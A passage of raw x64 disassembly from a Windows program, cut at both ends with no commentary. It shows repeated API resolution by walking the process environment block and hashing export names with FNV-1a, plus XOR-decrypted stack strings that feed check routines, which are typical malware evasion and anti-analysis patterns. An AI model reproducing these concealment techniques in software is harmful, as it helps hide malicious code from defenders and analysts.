mov rax, qword [rax]
jmp 0x140025310
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
mov ebx, 4
xor edi, edi
lea rcx, [0x1401bce80]
call fcn.14009a620
cmp byte [0x1401bd090], 0
jne 0x140025723
movabs rax, 0x13823900c52f220a
mov qword [rsp + 0x50], rax
movabs rax, 0x133882af83cc9f8d
mov qword [rsp + 0x58], rax
movabs rax, 0x6fec61b5f1de576
mov qword [rsp + 0x60], rax
movabs rax, 0x3b2c17f43cfd481f
mov qword [rsp + 0x68], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7da2705084742800
mov qword [rbp - 0x70], rax
movabs rax, 0x7a4cebc1eaecebe2
mov qword [rbp - 0x68], rax
movabs rax, 0x3ca3a27e25748917
mov qword [rbp - 0x60], rax
movabs rax, 0x3b2c17f43cfd483f
mov qword [rbp - 0x58], rax
lea rax, [rbp + 0x3028]
mov rcx, rbx
nop word [rax + rax]
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140025450
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x3020], xmm0
movdqa xmm1, xmmword [rbp - 0x60]
xorps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x3030], xmm1
movdqa xmmword [rbp + 0x3040], xmm4
movdqa xmmword [rbp + 0x3050], xmm5
lea rax, [rbp + 0x7fb0]
lea rcx, [rbp + 0x3020]
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400254b0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea rax, [rbp + 0x7fb0]
mov rcx, r15
nop word [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140025520
mov rdx, qword [0x1401bd0a8]
mov rax, r12
sub rax, rdx
cmp rax, rcx
jb 0x14002ea89
lea rax, [0x1401bd098]
cmp qword [0x1401bd0b0], 0xf
cmova rax, qword [0x1401bd098]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x7fb0]
lea r8, [0x1401bd098]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x750]
call fcn.14000c660
lea rax, [rbp + 0x750]
mov qword [rbp - 0x10], rax
lea rdx, [rbp + 0x750]
cmp qword [rbp + 0x768], 0xf
cmova rdx, qword [rbp + 0x750]
mov r8, qword [rbp + 0x760]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001cb10
nop
lea rcx, [rbp + 0x750]
call fcn.14000a6f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140025653
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140025653
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002564e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140025630
cmp ebx, 0x2fa62ca8
je 0x140025658
test r8d, r8d
jne 0x140025610
mov rax, qword [rax]
jmp 0x1400255e0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov ecx, 0xfa0
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140025703
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140025703
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400256fe
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400256e0
cmp ebx, 0xe80fd3a
je 0x140025708
test r8d, r8d
jne 0x1400256c0
mov rax, qword [rax]
jmp 0x140025690
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
lea rcx, [0x1401bce80]
call fcn.1400954a0
test al, al
je 0x14002573a
call qword [sym.imp.ucrtbase.dll_abort]
int3
call fcn.140021100
test al, al
je 0x1400257f6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x1400257d3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400257d3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400257ce
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400257b0
cmp ebx, 0xf84eee59
je 0x1400257d8
test r8d, r8d
jne 0x140025790
mov rax, qword [rax]
jmp 0x140025760
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
xor edx, edx
mov rcx, r15
call rax
movabs rax, 0x1fac053f41cd0f4a
mov qword [rsp + 0x50], rax
movabs rax, 0xce3fee538ef5db2
mov qword [rsp + 0x58], rax
movabs rdx, 0x1fffffffe0000000
mov qword [rsp + 0x60], rdx
movabs rcx, 0xe0000000200006f7
mov qword [rsp + 0x68], rcx
movabs rax, 0x71cd715615913509
mov qword [rbp - 0x70], rax
movabs rax, 0x6b8c92cb5d8b34fa
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x60], rdx
mov qword [rbp - 0x58], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
lea rax, [rbp + 0x5b8]
mov ecx, 4
xor edi, edi
nop word [rax + rax]
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140025870
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x5b0], xmm0
movdqa xmm1, xmmword [rsp + 0x60]
xorps xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp + 0x5c0], xmm1
movdqa xmmword [rbp + 0x5d0], xmm4
movdqa xmmword [rbp + 0x5e0], xmm5
lea rax, [rbp + 0x5730]
lea rcx, [rbp + 0x5b0]
mov rdx, rsi
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400258d0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea rax, [rbp + 0x5730]
mov qword [rbp + 0x9f0], rax
lea rcx, [rbp + 0x5730]
mov rax, r15
inc rax
cmp byte [rcx + rax], dil
jne 0x140025940
mov qword [rbp + 0x9f8], rax
movzx r8d, dil
lea rdx, [rbp + 0x9f0]
lea rcx, [rbp + 0xba0]
call fcn.14000c780
nop
lea rcx, [rbp + 0xba0]
call fcn.14000c180
movzx ebx, al
lea rcx, [rbp + 0xba0]
call fcn.140002810
test bl, bl
je 0x140025a35
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140025a13
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140025a13
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140025a0e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400259f0
cmp ebx, 0xe80fd3a
je 0x140025a18
test r8d, r8d
jne 0x1400259d0
mov rax, qword [rax]
jmp 0x1400259a0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
xor edi, edi
movabs rax, 0x493cca51f06330d
mov qword [rsp + 0x50], rax
movabs rax, 0x166489295537a40a
mov qword [rsp + 0x58], rax
movabs rax, 0x31cabea60e1e7d5
mov qword [rsp + 0x60], rax
movabs rcx, 0x543bbc46a99d013
mov qword [rsp + 0x68], rcx
movabs rax, 0x76f4a3d74f5a094e
mov qword [rbp - 0x70], rax
movabs rax, 0x6501e5401317c96b
mov qword [rbp - 0x68], rax
movabs rax, 0x379d98b17acb189
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
lea rax, [rbp + 0x2dd8]
mov ecx, 4
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140025ab1
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x2dd0], xmm0
movdqa xmm1, xmmword [rsp + 0x60]
xorps xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp + 0x2de0], xmm1
movdqa xmmword [rbp + 0x2df0], xmm4
movdqa xmmword [rbp + 0x2e00], xmm5
lea rax, [rbp + 0x7ca0]
lea rcx, [rbp + 0x2dd0]
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140025b10
lea rax, [rbp + 0x7ca0]
mov qword [rbp + 0x9e0], rax
lea rcx, [rbp + 0x7ca0]
mov rax, r15
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140025b80
mov qword [rbp + 0x9e8], rax
movzx r8d, dil
lea rdx, [rbp + 0x9e0]
lea rcx, [rbp + 0xbc0]
call fcn.14000c780
nop
lea rcx, [rbp + 0xbc0]
call fcn.14000c180
movzx ebx, al
lea rcx, [rbp + 0xbc0]
call fcn.140002810
test bl, bl
je 0x140025c75
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140025c53
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140025c53
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140025c4e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140025c30
cmp ebx, 0xe80fd3a
je 0x140025c58
test r8d, r8d
jne 0x140025c10
mov rax, qword [rax]
jmp 0x140025be0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
xor edi, edi
movabs rax, 0x69e31c385c4eea4
mov qword [rsp + 0x50], rax
movabs rax, 0x6bb44de37e1ce093
mov qword [rsp + 0x58], rax
movabs rax, 0x63ee5cb6e198d4e7
mov qword [rsp + 0x70], rax
movabs rax, 0x6bb44d8f1278cef7
mov qword [rsp + 0x78], rax
xorps xmm2, xmm2
lea rax, [rbp + 0x858]
mov rcx, rsi
nop
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140025cc0
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x850], xmm0
movdqa xmmword [rbp + 0x860], xmm2
lea rcx, [rbp + 0x3400]
lea rax, [rbp + 0x850]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
lea rax, [rbp + 0x3400]
mov qword [rbp + 0x9d0], rax
lea rcx, [rbp + 0x3400]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140025d90
mov qword [rbp + 0x9d8], rax
movzx r8d, dil
lea rdx, [rbp + 0x9d0]
lea rcx, [rbp + 0xbe0]
call fcn.14000c780
nop
lea rcx, [rbp + 0xbe0]
call fcn.14000c180
movzx ebx, al
lea rcx, [rbp + 0xbe0]
call fcn.140002810
test bl, bl
je 0x140025e85
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140025e63
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140025e63
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140025e5e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140025e40
cmp ebx, 0xe80fd3a
je 0x140025e68
test r8d, r8d
jne 0x140025e20
mov rax, qword [rax]
jmp 0x140025df0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
xor edi, edi
movabs rax, 0x6da141d9e01af5b
mov qword [rbp + 0x5b0], rax
movabs rax, 0x3b92c79811f9dd91
mov qword [rbp + 0x5b8], rax
movabs rax, 0x328fac7748eef46
mov qword [rbp + 0x5c0], rax
movabs rax, 0xc65698aec01e1bd
mov qword [rbp + 0x5c8], rax
movabs rax, 0x777ea233051d007
mov qword [rbp + 0x5d0], rax
movabs rax, 0x25ba1a6ef393e2e7
mov qword [rbp + 0x5d8], rax
movabs rax, 0x134c76553b4da280
mov qword [rbp + 0x5e0], rax
movabs rax, 0x278c0c7e430d9faa
mov qword [rbp + 0x5e8], rax
movabs rax, 0x296341c3acbb861
mov qword [rbp + 0x5f0], rax
movabs rcx, 0x1168a167ac23793c
mov qword [rbp + 0x5f8], rcx
xorps xmm7, xmm7
xorps xmm8, xmm8
movabs rax, 0x74bd7b6fce5d9518
mov qword [rbp + 0x650], rax
movabs rax, 0x76cea6ec70bdb0f0
mov qword [rbp + 0x658], rax
movabs rax, 0x774e95b41bfc8c2f
mov qword [rbp + 0x660], rax
movabs rax, 0x7f1206ee8268b6e1
mov qword [rbp + 0x668], rax
movabs rax, 0x4a579e515125835b
mov qword [rbp + 0x670], rax
movabs rax, 0x42d5683eafe68c82
mov qword [rbp + 0x678], rax
movabs rax, 0x47183e094820c3f2
mov qword [rbp + 0x680], rax
movabs rax, 0x40eb791c2649bffa
mov qword [rbp + 0x688], rax
movabs rax, 0x2965b6e6aebca04
mov qword [rbp + 0x690], rax
mov qword [rbp + 0x698], rcx
xorps xmm9, xmm9
xorps xmm10, xmm10
xorps xmm11, xmm11
lea rax, [rbp + 0x6878]
mov ecx, 0xa
nop
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140025ff0
movdqa xmm0, xmmword [rbp + 0x650]
xorps xmm0, xmmword [rbp + 0x5b0]
movdqa xmmword [rbp + 0x6870], xmm0
movdqa xmm1, xmmword [rbp + 0x660]
xorps xmm1, xmmword [rbp + 0x5c0]
movdqa xmmword [rbp + 0x6880], xmm1
movdqa xmm0, xmmword [rbp + 0x670]
xorps xmm0, xmmword [rbp + 0x5d0]
movdqa xmmword [rbp + 0x6890], xmm0
movdqa xmm1, xmmword [rbp + 0x5e0]
xorps xmm1, xmmword [rbp + 0x680]
movdqa xmmword [rbp + 0x68a0], xmm1
movdqa xmm0, xmmword [rbp + 0x5f0]
xorps xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp + 0x68b0], xmm0
movdqa xmmword [rbp + 0x68c0], xmm9
movdqa xmmword [rbp + 0x68d0], xmm10
movdqa xmmword [rbp + 0x68e0], xmm11
movdqa xmmword [rbp + 0x68f0], xmm7
movdqa xmmword [rbp + 0x6900], xmm8
lea rax, [rbp + 0xb040]
lea rcx, [rbp + 0x6870]
mov rdx, r14
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400260b1
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rbp + 0xb040]
mov qword [rbp + 0x9c0], rax
lea rcx, [rbp + 0xb040]
mov rax, r15
inc rax
cmp byte [rcx + rax], 0
jne 0x140026151
mov qword [rbp + 0x9c8], rax
movzx r8d, dil
lea rdx, [rbp + 0x9c0]
lea rcx, [rbp + 0xc00]
call fcn.14000c780
nop
lea rcx, [rbp + 0xc00]
call fcn.14000c180
movzx ebx, al
lea rcx, [rbp + 0xc00]
call fcn.140002810
test bl, bl
je 0x140026245
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140026223
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140026223
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002621e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140026200
cmp ebx, 0xe80fd3a
je 0x140026228
test r8d, r8d
jne 0x1400261e0
mov rax, qword [rax]
jmp 0x1400261b0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
xor edi, edi
movabs rax, 0x175a0dd059170d61
mov qword [rbp + 0x5b0], rax
movabs rax, 0x25707be8a899d40d
mov qword [rbp + 0x5b8], rax
movabs rax, 0x241b45e6e3fd2df
mov qword [rbp + 0x5c0], rax
movabs rax, 0x13e429e5ec42a325
mov qword [rbp + 0x5c8], rax
movabs rax, 0x1294a8144452c0e2
mov qword [rbp + 0x5d0], rax
movabs rax, 0x22a10bd341bec3d0
mov qword [rbp + 0x5d8], rax
movabs rax, 0x1f864fc5127a76ba
mov qword [rbp + 0x5e0], rax
movabs rax, 0x31c2f627a1b1dd25
mov qword [rbp + 0x5e8], rax
movabs rax, 0x1428aa379fa5e
mov qword [rbp + 0x5f0], rax
movabs rcx, 0x1c802234f87b9dad
mov qword [rbp + 0x5f8], rcx
movabs rax, 0x653d62a2094b3722
mov qword [rbp + 0x650], rax
movabs rax, 0x682c1a9cc9ddb96c
mov qword [rbp + 0x658], rax
movabs rax, 0x7627db2d014db1b6
mov qword [rbp + 0x660], rax
movabs rax, 0x60934681822bf479
mov qword [rbp + 0x668], rax
movabs rax, 0x5fb4dc66252693be
mov qword [rbp + 0x670], rax
movabs rax, 0x45ce79831dcbadb5
mov qword [rbp + 0x678], rax
movabs rax, 0x5ec20699611717c8
mov qword [rbp + 0x680], rax
movabs rax, 0x43a38142c4c39b05
mov qword [rbp + 0x688], rax
movabs rax, 0x142bd8d4eda3b
mov qword [rbp + 0x690], rax
mov qword [rbp + 0x698], rcx
xorps xmm7, xmm7
xorps xmm8, xmm8
xorps xmm9, xmm9
xorps xmm10, xmm10
xorps xmm11, xmm11
lea rax, [rbp + 0x5fb8]
mov ecx, 0xa
nop
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x1400263b0
movdqa xmm0, xmmword [rbp + 0x5b0]
xorps xmm0, xmmword [rbp + 0x650]
movdqa xmmword [rbp + 0x5fb0], xmm0
movdqa xmm1, xmmword [rbp + 0x660]
xorps xmm1, xmmword [rbp + 0x5c0]
movdqa xmmword [rbp + 0x5fc0], xmm1
movdqa xmm0, xmmword [rbp + 0x670]
xorps xmm0, xmmword [rbp + 0x5d0]
movdqa xmmword [rbp + 0x5fd0], xmm0
movdqa xmm1, xmmword [rbp + 0x5e0]
xorps xmm1, xmmword [rbp + 0x680]
movdqa xmmword [rbp + 0x5fe0], xmm1
movdqa xmm0, xmmword [rbp + 0x5f0]
xorps xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp + 0x5ff0], xmm0
movdqa xmmword [rbp + 0x6000], xmm7
movdqa xmmword [rbp + 0x6010], xmm8
movdqa xmmword [rbp + 0x6020], xmm9
movdqa xmmword [rbp + 0x6030], xmm10
movdqa xmmword [rbp + 0x6040], xmm11
lea rax, [rbp + 0xa480]
lea rcx, [rbp + 0x5fb0]
mov rdx, r14
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140026471
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea rax, [rbp + 0xa480]
mov qword [rbp + 0x9b0], rax
lea rcx, [rbp + 0xa480]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140026510
mov qword [rbp + 0x9b8], rax
movzx r8d, dil
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp + 0xc20]
call fcn.14000c780
nop
lea rcx, [rbp + 0xc20]
call fcn.14000c180
movzx ebx, al
lea rcx, [rbp + 0xc20]
call fcn.140002810
test bl, bl
je 0x140026605
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x1400265e3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400265e3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400265de
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
